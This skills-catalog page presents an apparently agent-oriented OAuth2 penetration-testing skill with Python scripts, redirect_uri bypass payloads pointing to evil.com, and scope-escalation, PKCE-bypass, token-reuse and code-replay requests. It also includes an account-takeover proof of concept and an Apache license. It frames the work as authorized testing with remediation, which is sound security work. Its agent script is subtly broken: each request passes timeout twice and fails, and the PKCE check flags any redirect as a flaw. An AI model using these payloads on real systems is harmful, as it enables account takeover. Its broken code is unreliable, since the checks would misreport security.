
Testing Oauth2 Implementation Flaws
- 257 installs
- 27.3k repo stars
- Updated August 2, 2026
- mukul975/anthropic-cybersecurity-skills
Audit OAuth2 login, callback, token exchange, and consent flows for misconfigurations, redirect abuse, scope escalation, and session fixation before production release.
About
Guides security review of OAuth2 implementations: authorization endpoints, redirect handling, token lifecycle, PKCE usage, and common misconfigurations that enable account takeover or privilege escalation in SaaS and API products.
- OAuth2 redirect URI checks
- Token exchange misuse
- Scope escalation tests
- Consent flow abuse
- Session fixation probes
Testing Oauth2 Implementation Flaws by the numbers
- 257 all-time installs (skills.sh)
- +17 installs in the week ending Aug 4, 2026 (Skillselion tracking)
- Ranked #674 of 2,203 Security skills by installs in the Skillselion catalog
- Data as of Aug 5, 2026 (Skillselion catalog sync)
npx skills add https://github.com/mukul975/anthropic-cybersecurity-skills --skill testing-oauth2-implementation-flawsAdd your badge
Show developers this skill is listed on Skillselion. Paste this into your README.
| Installs | 257 |
|---|---|
| repo stars | ★ 27.3k |
| Last updated | August 2, 2026 |
| Repository | mukul975/anthropic-cybersecurity-skills ↗ |
What it does
Audit OAuth2 login, callback, token exchange, and consent flows for misconfigurations, redirect abuse, scope escalation, and session fixation before production release.
Files
Testing OAuth2 Implementation Flaws
When to Use
- Assessing OAuth 2.0 authorization code flow for redirect URI validation weaknesses
- Testing OAuth client applications for CSRF protection (state parameter usage) and PKCE enforcement
- Evaluating token storage, transmission, and lifecycle management in OAuth implementations
- Testing scope escalation where clients request more permissions than authorized
- Assessing OpenID Connect implementations for ID token validation and nonce usage
Do not use without written authorization. OAuth testing may result in token theft or unauthorized access.
Prerequisites
- Written authorization specifying the OAuth provider and client applications in scope
- Test OAuth client registered with the authorization server
- Burp Suite Professional for intercepting OAuth redirects and token flows
- Python 3.10+ with
requestsandoauthliblibraries - Browser developer tools for observing OAuth redirect chains
- Knowledge of the OAuth 2.0 grant types in use (authorization code, implicit, client credentials)
Workflow
Step 1: OAuth Flow Reconnaissance
import requests
import urllib.parse
import re
import hashlib
import base64
import secrets
AUTH_SERVER = "https://auth.example.com"
CLIENT_ID = "test-client-id"
REDIRECT_URI = "https://app.example.com/callback"
SCOPE = "openid profile email"
# Discover OAuth endpoints
well_known = requests.get(f"{AUTH_SERVER}/.well-known/openid-configuration")
if well_known.status_code == 200:
config = well_known.json()
print("OAuth/OIDC Configuration:")
print(f" Authorization: {config.get('authorization_endpoint')}")
print(f" Token: {config.get('token_endpoint')}")
print(f" UserInfo: {config.get('userinfo_endpoint')}")
print(f" JWKS: {config.get('jwks_uri')}")
print(f" Supported grants: {config.get('grant_types_supported')}")
print(f" Supported scopes: {config.get('scopes_supported')}")
print(f" PKCE methods: {config.get('code_challenge_methods_supported')}")
auth_endpoint = config['authorization_endpoint']
token_endpoint = config['token_endpoint']
else:
# Try common paths
for path in ["/authorize", "/oauth/authorize", "/oauth2/authorize", "/auth"]:
resp = requests.get(f"{AUTH_SERVER}{path}", allow_redirects=False)
if resp.status_code in (302, 400):
print(f"Authorization endpoint found: {AUTH_SERVER}{path}")
auth_endpoint = f"{AUTH_SERVER}{path}"
breakStep 2: Redirect URI Validation Testing
# Test redirect_uri validation strictness
REDIRECT_BYPASS_PAYLOADS = [
# Open redirect variations
REDIRECT_URI, # Legitimate
"https://evil.com", # Different domain
"https://app.example.com.evil.com/callback", # Subdomain of attacker
"https://app.example.com@evil.com/callback", # URL authority confusion
f"{REDIRECT_URI}/../../../evil.com", # Path traversal
f"{REDIRECT_URI}?next=https://evil.com", # Parameter injection
f"{REDIRECT_URI}#https://evil.com", # Fragment injection
f"{REDIRECT_URI}%23evil.com", # Encoded fragment
"https://app.example.com/callback/../../evil", # Relative path
"https://APP.EXAMPLE.COM/callback", # Case variation
"https://app.example.com/Callback", # Path case variation
"https://app.example.com/callback/", # Trailing slash
"https://app.example.com/callback?", # Trailing question mark
"http://app.example.com/callback", # HTTP downgrade
"https://app.example.com:443/callback", # Explicit port
"https://app.example.com:8443/callback", # Different port
f"{REDIRECT_URI}/.evil.com", # Dot segment
"https://app.example.com/callbackevil", # Path prefix match
"javascript://app.example.com/callback%0aalert(1)", # JavaScript protocol
]
print("=== Redirect URI Validation Testing ===\n")
for redirect in REDIRECT_BYPASS_PAYLOADS:
params = {
"response_type": "code",
"client_id": CLIENT_ID,
"redirect_uri": redirect,
"scope": SCOPE,
"state": secrets.token_urlsafe(32),
}
resp = requests.get(auth_endpoint, params=params, allow_redirects=False)
if resp.status_code == 302:
location = resp.headers.get("Location", "")
if "code=" in location or redirect in location:
status = "ACCEPTED"
if redirect != REDIRECT_URI:
print(f" [VULNERABLE] {redirect[:70]} -> Redirect accepted")
else:
status = "REDIRECTED"
elif resp.status_code == 400:
status = "REJECTED"
else:
status = f"HTTP {resp.status_code}"
if redirect == REDIRECT_URI:
print(f" [BASELINE] {redirect[:70]} -> {status}")Step 3: State Parameter (CSRF) Testing
# Test 1: Missing state parameter
params_no_state = {
"response_type": "code",
"client_id": CLIENT_ID,
"redirect_uri": REDIRECT_URI,
"scope": SCOPE,
}
resp = requests.get(auth_endpoint, params=params_no_state, allow_redirects=False)
if resp.status_code == 302 and "code=" in resp.headers.get("Location", ""):
print("[CSRF] Authorization code issued without state parameter")
# Test 2: State parameter reuse
state_value = "fixed_state_value_123"
# Use same state for multiple authorization requests
for i in range(3):
params = {**params_no_state, "state": state_value}
resp = requests.get(auth_endpoint, params=params, allow_redirects=False)
if resp.status_code == 302:
location = resp.headers.get("Location", "")
returned_state = urllib.parse.parse_qs(
urllib.parse.urlparse(location).query).get("state", [None])[0]
if returned_state == state_value:
print(f"[INFO] Same state accepted on attempt {i+1} (check client-side validation)")
# Test 3: Token exchange without state validation (client-side check)
# Intercept the callback and try exchanging the code without state
print("\nNote: State validation is a client-side check. Verify the callback handler validates state.")Step 4: PKCE Bypass Testing
# Test if PKCE (Proof Key for Code Exchange) is enforced
# Generate PKCE values
code_verifier = secrets.token_urlsafe(64)[:128]
code_challenge = base64.urlsafe_b64encode(
hashlib.sha256(code_verifier.encode()).digest()
).decode().rstrip('=')
# Test 1: Authorization request without PKCE
params_no_pkce = {
"response_type": "code",
"client_id": CLIENT_ID,
"redirect_uri": REDIRECT_URI,
"scope": SCOPE,
"state": secrets.token_urlsafe(32),
}
resp = requests.get(auth_endpoint, params=params_no_pkce, allow_redirects=False)
if resp.status_code == 302 and "code=" in resp.headers.get("Location", ""):
print("[PKCE] Authorization code issued without PKCE challenge")
# Test 2: Token exchange without code_verifier
auth_code = "captured_auth_code" # From intercept
token_resp = requests.post(token_endpoint, data={
"grant_type": "authorization_code",
"code": auth_code,
"redirect_uri": REDIRECT_URI,
"client_id": CLIENT_ID,
# No code_verifier
})
if token_resp.status_code == 200:
print("[PKCE] Token issued without code_verifier - PKCE not enforced")
# Test 3: Token exchange with wrong code_verifier
token_resp = requests.post(token_endpoint, data={
"grant_type": "authorization_code",
"code": auth_code,
"redirect_uri": REDIRECT_URI,
"client_id": CLIENT_ID,
"code_verifier": "wrong_verifier_value_that_does_not_match",
})
if token_resp.status_code == 200:
print("[PKCE] Token issued with wrong code_verifier - PKCE validation broken")
# Test 4: Downgrade from S256 to plain
params_plain_pkce = {
**params_no_pkce,
"code_challenge": code_verifier, # Plain = verifier itself
"code_challenge_method": "plain",
}
resp = requests.get(auth_endpoint, params=params_plain_pkce, allow_redirects=False)
if resp.status_code == 302:
print("[PKCE] Plain challenge method accepted - vulnerable to interception")Step 5: Scope Escalation and Token Testing
# Test 1: Request additional scopes beyond what's registered
elevated_scopes = [
"openid profile email admin",
"openid profile email write:users",
"openid profile email delete:*",
"openid profile email admin:full",
"*",
]
for scope in elevated_scopes:
params = {
"response_type": "code",
"client_id": CLIENT_ID,
"redirect_uri": REDIRECT_URI,
"scope": scope,
"state": secrets.token_urlsafe(32),
}
resp = requests.get(auth_endpoint, params=params, allow_redirects=False)
if resp.status_code == 302:
location = resp.headers.get("Location", "")
if "code=" in location:
print(f"[SCOPE] Elevated scope accepted: {scope}")
# Test 2: Token reuse across clients
# Use a token from client A on client B's API
token_a = "access_token_from_client_a"
resp = requests.get("https://other-service.example.com/api/resource",
headers={"Authorization": f"Bearer {token_a}"})
if resp.status_code == 200:
print("[TOKEN] Token from client A accepted by different service (audience not validated)")
# Test 3: Refresh token theft and reuse
refresh_token = "captured_refresh_token"
# Try using refresh token with different client_id
token_resp = requests.post(token_endpoint, data={
"grant_type": "refresh_token",
"refresh_token": refresh_token,
"client_id": "different-client-id",
})
if token_resp.status_code == 200:
print("[TOKEN] Refresh token accepted for different client - not bound to client")Step 6: Implicit Flow and Token Leakage Testing
# Test if implicit flow is enabled (should be disabled per OAuth 2.1)
implicit_params = {
"response_type": "token",
"client_id": CLIENT_ID,
"redirect_uri": REDIRECT_URI,
"scope": SCOPE,
"state": secrets.token_urlsafe(32),
}
resp = requests.get(auth_endpoint, params=implicit_params, allow_redirects=False)
if resp.status_code == 302:
location = resp.headers.get("Location", "")
if "access_token=" in location:
print("[IMPLICIT] Implicit flow enabled - token in URL fragment (deprecated/insecure)")
# Test token leakage via Referer header
# Check if tokens appear in URLs that could leak via Referer
print("\nToken Leakage Checks:")
print(" - Check if access tokens appear in URL query parameters")
print(" - Check if tokens are logged in server access logs")
print(" - Check if callback URL with code is cached by the browser")
print(" - Check if the authorization code is single-use (replay test)")
# Authorization code replay test
auth_code_to_replay = "captured_auth_code"
for attempt in range(3):
token_resp = requests.post(token_endpoint, data={
"grant_type": "authorization_code",
"code": auth_code_to_replay,
"redirect_uri": REDIRECT_URI,
"client_id": CLIENT_ID,
"client_secret": "client_secret_value",
})
print(f" Code replay attempt {attempt+1}: {token_resp.status_code}")
if attempt > 0 and token_resp.status_code == 200:
print(" [VULNERABLE] Authorization code is not single-use")Key Concepts
| Term | Definition |
|---|---|
| Authorization Code Flow | OAuth 2.0 flow where the client receives an authorization code via redirect, then exchanges it for tokens at the token endpoint |
| PKCE | Proof Key for Code Exchange - extension that binds the authorization request to the token request using a code verifier/challenge, preventing authorization code interception |
| Redirect URI Validation | Authorization server verification that the redirect_uri matches the registered value exactly, preventing code/token theft via open redirect |
| State Parameter | Random value passed in the authorization request and verified in the callback to prevent CSRF attacks on the OAuth flow |
| Scope Escalation | Requesting or obtaining more permissions (scopes) than the client is authorized for, enabling unauthorized access |
| Implicit Flow | Deprecated OAuth flow that returns tokens directly in the URL fragment, vulnerable to token leakage and replay attacks |
Tools & Systems
- Burp Suite Professional: Intercept and manipulate OAuth redirects, authorization codes, and token exchanges
- EsPReSSO (Burp Extension): Automated testing of OAuth and OpenID Connect implementations for known vulnerabilities
- oauth2-security-tester: Dedicated tool for testing OAuth 2.0 flows against common attack patterns
- OWASP ZAP: Passive scanner that detects OAuth misconfigurations in intercepted traffic
- jwt.io: Online JWT decoder for analyzing OAuth access tokens and ID tokens
Common Scenarios
Scenario: Social Login OAuth Implementation Assessment
Context: A web application implements "Login with Google" and "Login with GitHub" using OAuth 2.0 Authorization Code flow. The application is a SaaS platform where account takeover has high business impact.
Approach: 1. Analyze the OAuth configuration at /.well-known/openid-configuration for both providers 2. Test redirect URI validation: discover that the application registers https://app.example.com/callback but the server accepts https://app.example.com/callback/..%2fevil 3. Test state parameter: authorization request includes state but the callback handler does not validate it (CSRF possible) 4. Test PKCE: not implemented for the authorization code flow, making code interception possible on mobile 5. Test implicit flow: still enabled despite not being used by the application 6. Test scope: application requests openid profile email but the authorization server also grants read:repos without explicit consent 7. Test authorization code replay: code can be exchanged twice, indicating lack of single-use enforcement 8. Test token audience: access token from Google login accepted by GitHub API endpoint (audience not validated)
Pitfalls:
- Only testing the OAuth flow in the browser without intercepting and manipulating redirect parameters
- Not testing both the authorization request and the token exchange independently
- Missing open redirect vulnerabilities in the application that can be chained with OAuth redirect_uri
- Not testing the state parameter validation on the client side (server may include it but client may not check it)
- Assuming PKCE is enforced because the authorization server supports it (client must also send it)
Output Format
## Finding: OAuth2 Redirect URI Bypass Enables Authorization Code Theft
**ID**: API-OAUTH-001
**Severity**: Critical (CVSS 9.3)
**Affected Component**: OAuth 2.0 Authorization Code Flow
**Authorization Server**: auth.example.com
**Description**:
The authorization server's redirect_uri validation uses prefix matching
instead of exact string matching. An attacker can manipulate the redirect_uri
to redirect the authorization code to an attacker-controlled endpoint,
enabling account takeover. Additionally, PKCE is not enforced and the
state parameter is not validated by the client application.
**Proof of Concept**:
1. Craft authorization URL with manipulated redirect_uri:
https://auth.example.com/authorize?response_type=code&client_id=app
&redirect_uri=https://app.example.com/callback/../../../evil.com
&scope=openid+profile+email&state=abc123
2. User authenticates and approves consent
3. Authorization code redirected to https://evil.com?code=AUTH_CODE&state=abc123
4. Attacker exchanges code at token endpoint (no PKCE required)
5. Attacker receives access token and ID token for victim's account
**Impact**:
Complete account takeover for any user who clicks a crafted OAuth login link.
The attacker gains full access to the user's profile, email, and any
resources the OAuth scope grants access to.
**Remediation**:
1. Implement exact string matching for redirect_uri validation (no wildcards, no prefix matching)
2. Enforce PKCE (S256 method) for all authorization code flow requests
3. Validate the state parameter in the callback handler before exchanging the code
4. Disable the implicit flow on the authorization server
5. Enforce single-use authorization codes with a short TTL (max 60 seconds)
6. Validate the audience (aud) claim in tokens before accepting them
Apache License
Version 2.0, January 2004
http://www.apache.org/licenses/
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
1. Definitions.
"License" shall mean the terms and conditions for use, reproduction,
and distribution as defined by Sections 1 through 9 of this document.
"Licensor" shall mean the copyright owner or entity authorized by
the copyright owner that is granting the License.
"Legal Entity" shall mean the union of the acting entity and all
other entities that control, are controlled by, or are under common
control with that entity. For the purposes of this definition,
"control" means (i) the power, direct or indirect, to cause the
direction or management of such entity, whether by contract or
otherwise, or (ii) ownership of fifty percent (50%) or more of the
outstanding shares, or (iii) beneficial ownership of such entity.
"You" (or "Your") shall mean an individual or Legal Entity
exercising permissions granted by this License.
"Source" form shall mean the preferred form for making modifications,
including but not limited to software source code, documentation
source, and configuration files.
"Object" form shall mean any form resulting from mechanical
transformation or translation of a Source form, including but
not limited to compiled object code, generated documentation,
and conversions to other media types.
"Work" shall mean the work of authorship, whether in Source or
Object form, made available under the License, as indicated by a
copyright notice that is included in or attached to the work
(an example is provided in the Appendix below).
"Derivative Works" shall mean any work, whether in Source or Object
form, that is based on (or derived from) the Work and for which the
editorial revisions, annotations, elaborations, or other modifications
represent, as a whole, an original work of authorship. For the purposes
of this License, Derivative Works shall not include works that remain
separable from, or merely link (or bind by name) to the interfaces of,
the Work and Derivative Works thereof.
"Contribution" shall mean any work of authorship, including
the original version of the Work and any modifications or additions
to that Work or Derivative Works thereof, that is intentionally
submitted to the Licensor for inclusion in the Work by the copyright owner
or by an individual or Legal Entity authorized to submit on behalf of
the copyright owner. For the purposes of this definition, "submitted"
means any form of electronic, verbal, or written communication sent
to the Licensor or its representatives, including but not limited to
communication on electronic mailing lists, source code control systems,
and issue tracking systems that are managed by, or on behalf of, the
Licensor for the purpose of discussing and improving the Work, but
excluding communication that is conspicuously marked or otherwise
designated in writing by the copyright owner as "Not a Contribution."
"Contributor" shall mean Licensor and any individual or Legal Entity
on behalf of whom a Contribution has been received by the Licensor and
subsequently incorporated within the Work.
2. Grant of Copyright License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
copyright license to reproduce, prepare Derivative Works of,
publicly display, publicly perform, sublicense, and distribute the
Work and such Derivative Works in Source or Object form.
3. Grant of Patent License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
(except as stated in this section) patent license to make, have made,
use, offer to sell, sell, import, and otherwise transfer the Work,
where such license applies only to those patent claims licensable
by such Contributor that are necessarily infringed by their
Contribution(s) alone or by combination of their Contribution(s)
with the Work to which such Contribution(s) was submitted. If You
institute patent litigation against any entity (including a
cross-claim or counterclaim in a lawsuit) alleging that the Work
or a Contribution incorporated within the Work constitutes direct
or contributory patent infringement, then any patent licenses
granted to You under this License for that Work shall terminate
as of the date such litigation is filed.
4. Redistribution. You may reproduce and distribute copies of the
Work or Derivative Works thereof in any medium, with or without
modifications, and in Source or Object form, provided that You
meet the following conditions:
(a) You must give any other recipients of the Work or
Derivative Works a copy of this License; and
(b) You must cause any modified files to carry prominent notices
stating that You changed the files; and
(c) You must retain, in the Source form of any Derivative Works
that You distribute, all copyright, patent, trademark, and
attribution notices from the Source form of the Work,
excluding those notices that do not pertain to any part of
the Derivative Works; and
(d) If the Work includes a "NOTICE" text file as part of its
distribution, then any Derivative Works that You distribute must
include a readable copy of the attribution notices contained
within such NOTICE file, excluding any notices that do not
pertain to any part of the Derivative Works, in at least one
of the following places: within a NOTICE text file distributed
as part of the Derivative Works; within the Source form or
documentation, if provided along with the Derivative Works; or,
within a display generated by the Derivative Works, if and
wherever such third-party notices normally appear. The contents
of the NOTICE file are for informational purposes only and
do not modify the License. You may add Your own attribution
notices within Derivative Works that You distribute, alongside
or as an addendum to the NOTICE text from the Work, provided
that such additional attribution notices cannot be construed
as modifying the License.
You may add Your own copyright statement to Your modifications and
may provide additional or different license terms and conditions
for use, reproduction, or distribution of Your modifications, or
for any such Derivative Works as a whole, provided Your use,
reproduction, and distribution of the Work otherwise complies with
the conditions stated in this License.
5. Submission of Contributions. Unless You explicitly state otherwise,
any Contribution intentionally submitted for inclusion in the Work
by You to the Licensor shall be under the terms and conditions of
this License, without any additional terms or conditions.
Notwithstanding the above, nothing herein shall supersede or modify
the terms of any separate license agreement you may have executed
with Licensor regarding such Contributions.
6. Trademarks. This License does not grant permission to use the trade
names, trademarks, service marks, or product names of the Licensor,
except as required for reasonable and customary use in describing the
origin of the Work and reproducing the content of the NOTICE file.
7. Disclaimer of Warranty. Unless required by applicable law or
agreed to in writing, Licensor provides the Work (and each
Contributor provides its Contributions) on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
implied, including, without limitation, any warranties or conditions
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
PARTICULAR PURPOSE. You are solely responsible for determining the
appropriateness of using or redistributing the Work and assume any
risks associated with Your exercise of permissions under this License.
8. Limitation of Liability. In no event and under no legal theory,
whether in tort (including negligence), contract, or otherwise,
unless required by applicable law (such as deliberate and grossly
negligent acts) or agreed to in writing, shall any Contributor be
liable to You for damages, including any direct, indirect, special,
incidental, or consequential damages of any character arising as a
result of this License or out of the use or inability to use the
Work (including but not limited to damages for loss of goodwill,
work stoppage, computer failure or malfunction, or any and all
other commercial damages or losses), even if such Contributor
has been advised of the possibility of such damages.
9. Accepting Warranty or Additional Liability. While redistributing
the Work or Derivative Works thereof, You may choose to offer,
and charge a fee for, acceptance of support, warranty, indemnity,
or other liability obligations and/or rights consistent with this
License. However, in accepting such obligations, You may act only
on Your own behalf and on Your sole responsibility, not on behalf
of any other Contributor, and only if You agree to indemnify,
defend, and hold each Contributor harmless for any liability
incurred by, or claims asserted against, such Contributor by reason
of your accepting any such warranty or additional liability.
END OF TERMS AND CONDITIONS
APPENDIX: How to apply the Apache License to your work.
To apply the Apache License to your work, attach the following
boilerplate notice, with the fields enclosed by brackets "[]"
replaced with your own identifying information. (Don't include
the brackets!) The text should be enclosed in the appropriate
comment syntax for the file format. Please do not remove or change
the license header comment from a contributed file except when
necessary.
Copyright 2026 mukul975
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
API Reference: Testing OAuth2 Implementation Flaws
OAuth 2.0 Grant Types
| Grant Type | Use Case | Risk Level |
|---|---|---|
| Authorization Code | Server-side apps | Low (with PKCE) |
| Authorization Code + PKCE | Mobile/SPA apps | Low |
| Implicit | Legacy SPAs | High (deprecated) |
| Client Credentials | Machine-to-machine | Medium |
| Resource Owner Password | Legacy migration | High |
OAuth Attack Surface
| Attack | Severity | Vector |
|---|---|---|
| Redirect URI bypass | Critical | Subdomain, path traversal, encoding |
| Missing state parameter | High | CSRF-based account linking |
| PKCE bypass | High | Authorization code interception |
| Scope escalation | High | Request unauthorized permissions |
| Code reuse | High | Replay authorization code |
| Token in URL fragment | Medium | Referer header leakage |
| Implicit flow | Medium | Token exposure in browser history |
Redirect URI Bypass Techniques
| Technique | Example |
|---|---|
| Subdomain append | redirect.com.evil.com |
| Path traversal | redirect.com/../evil.com |
| At-sign confusion | redirect.com@evil.com |
| Fragment bypass | redirect.com%23@evil.com |
| Query parameter | redirect.com?next=evil.com |
| HTTP downgrade | http:// instead of https:// |
Python Libraries
| Library | Version | Purpose |
|---|---|---|
requests | >=2.28 | HTTP OAuth flow testing |
secrets | stdlib | State/nonce generation |
urllib.parse | stdlib | URL parameter encoding |
hashlib | stdlib | PKCE code challenge |
References
- OAuth 2.0 Security Best Practices: https://datatracker.ietf.org/doc/html/draft-ietf-oauth-security-topics
- PortSwigger OAuth: https://portswigger.net/web-security/oauth
- RFC 6749: https://www.rfc-editor.org/rfc/rfc6749
- RFC 7636 (PKCE): https://www.rfc-editor.org/rfc/rfc7636
#!/usr/bin/env python3
"""Agent for testing OAuth 2.0 implementation flaws.
Tests OAuth authorization code flow, redirect URI validation,
state/PKCE enforcement, token leakage, scope escalation, and
OIDC ID token validation weaknesses.
"""
import json
import sys
import secrets
from pathlib import Path
from datetime import datetime
from urllib.parse import urlencode
try:
import requests
except ImportError:
requests = None
class OAuth2TestAgent:
"""Tests OAuth 2.0 / OIDC implementations for security flaws."""
def __init__(self, auth_url, token_url, client_id, redirect_uri,
output_dir="./oauth2_test"):
self.auth_url = auth_url
self.token_url = token_url
self.client_id = client_id
self.redirect_uri = redirect_uri
self.output_dir = Path(output_dir)
self.output_dir.mkdir(parents=True, exist_ok=True)
self.findings = []
def _get(self, url, **kwargs):
if not requests:
return None
kwargs.setdefault("timeout", 10)
kwargs.setdefault("allow_redirects", False)
try:
return requests.get(url, **kwargs, timeout=30)
except requests.RequestException:
return None
def _post(self, url, **kwargs):
if not requests:
return None
kwargs.setdefault("timeout", 10)
try:
return requests.post(url, **kwargs, timeout=30)
except requests.RequestException:
return None
def test_redirect_uri_validation(self):
"""Test redirect_uri for open redirect and bypass techniques."""
bypasses = [
self.redirect_uri + ".evil.com",
self.redirect_uri + "@evil.com",
self.redirect_uri + "/../evil.com",
"https://evil.com",
self.redirect_uri.replace("https://", "http://"),
self.redirect_uri + "%23@evil.com",
self.redirect_uri + "?next=https://evil.com",
]
results = []
for uri in bypasses:
params = {
"response_type": "code", "client_id": self.client_id,
"redirect_uri": uri, "scope": "openid",
"state": secrets.token_urlsafe(16),
}
resp = self._get(f"{self.auth_url}?{urlencode(params)}")
if resp and resp.status_code in (301, 302, 303, 307):
location = resp.headers.get("Location", "")
if "code=" in location or uri in location:
results.append({"redirect_uri": uri, "accepted": True, "location": location[:200]})
self.findings.append({"severity": "critical", "type": "Redirect URI Bypass",
"detail": f"Server accepted redirect_uri: {uri}"})
return results
def test_state_parameter(self):
"""Test if state parameter is enforced (CSRF protection)."""
params = {
"response_type": "code", "client_id": self.client_id,
"redirect_uri": self.redirect_uri, "scope": "openid",
}
resp = self._get(f"{self.auth_url}?{urlencode(params)}")
if resp and resp.status_code in (301, 302, 303, 307):
location = resp.headers.get("Location", "")
if "state=" not in location:
self.findings.append({"severity": "high", "type": "Missing State Parameter",
"detail": "OAuth flow proceeds without state (CSRF risk)"})
return {"state_enforced": False}
return {"state_enforced": True}
def test_pkce_enforcement(self):
"""Test if PKCE is required for public clients."""
params = {
"response_type": "code", "client_id": self.client_id,
"redirect_uri": self.redirect_uri, "scope": "openid",
"state": secrets.token_urlsafe(16),
}
resp = self._get(f"{self.auth_url}?{urlencode(params)}")
if resp and resp.status_code in (301, 302, 303, 307):
self.findings.append({"severity": "high", "type": "PKCE Not Required",
"detail": "Authorization proceeds without code_challenge"})
return {"pkce_required": False}
return {"pkce_required": True}
def test_scope_escalation(self, extra_scopes=None):
"""Test requesting more scopes than authorized."""
scopes = extra_scopes or ["admin", "write", "delete", "users:admin", "openid profile email"]
results = []
for scope in scopes:
params = {
"response_type": "code", "client_id": self.client_id,
"redirect_uri": self.redirect_uri, "scope": scope,
"state": secrets.token_urlsafe(16),
}
resp = self._get(f"{self.auth_url}?{urlencode(params)}")
if resp and resp.status_code in (301, 302, 303, 307):
results.append({"scope": scope, "accepted": True})
self.findings.append({"severity": "high", "type": "Scope Escalation",
"detail": f"Server granted scope: {scope}"})
return results
def test_code_reuse(self, auth_code):
"""Test if authorization code can be reused multiple times."""
data = {
"grant_type": "authorization_code", "code": auth_code,
"client_id": self.client_id, "redirect_uri": self.redirect_uri,
}
resp1 = self._post(self.token_url, data=data)
resp2 = self._post(self.token_url, data=data)
if resp2 and resp2.status_code == 200:
self.findings.append({"severity": "high", "type": "Code Reuse",
"detail": "Authorization code accepted multiple times"})
return {"reusable": True}
return {"reusable": False}
def test_token_in_url(self):
"""Test if implicit flow returns tokens in URL fragment."""
params = {
"response_type": "token", "client_id": self.client_id,
"redirect_uri": self.redirect_uri, "scope": "openid",
"state": secrets.token_urlsafe(16),
}
resp = self._get(f"{self.auth_url}?{urlencode(params)}")
if resp and resp.status_code in (301, 302, 303, 307):
location = resp.headers.get("Location", "")
if "access_token=" in location:
self.findings.append({"severity": "medium", "type": "Implicit Flow Token Exposure",
"detail": "Access token returned in URL fragment"})
return {"token_in_url": True}
return {"token_in_url": False}
def generate_report(self, auth_code=None):
redirect_results = self.test_redirect_uri_validation()
state = self.test_state_parameter()
pkce = self.test_pkce_enforcement()
scope = self.test_scope_escalation()
token_url = self.test_token_in_url()
code_reuse = self.test_code_reuse(auth_code) if auth_code else None
report = {
"report_date": datetime.utcnow().isoformat(),
"auth_url": self.auth_url,
"redirect_uri_bypasses": redirect_results,
"state_parameter": state,
"pkce_enforcement": pkce,
"scope_escalation": scope,
"implicit_flow": token_url,
"code_reuse": code_reuse,
"findings": self.findings,
"total_findings": len(self.findings),
}
out = self.output_dir / "oauth2_test_report.json"
with open(out, "w") as f:
json.dump(report, f, indent=2)
print(json.dumps(report, indent=2))
return report
def main():
if len(sys.argv) < 5:
print("Usage: agent.py <auth_url> <token_url> <client_id> <redirect_uri> [--code <auth_code>]")
sys.exit(1)
auth_url, token_url, client_id, redirect_uri = sys.argv[1:5]
code = None
if "--code" in sys.argv:
code = sys.argv[sys.argv.index("--code") + 1]
agent = OAuth2TestAgent(auth_url, token_url, client_id, redirect_uri)
agent.generate_report(code)
if __name__ == "__main__":
main()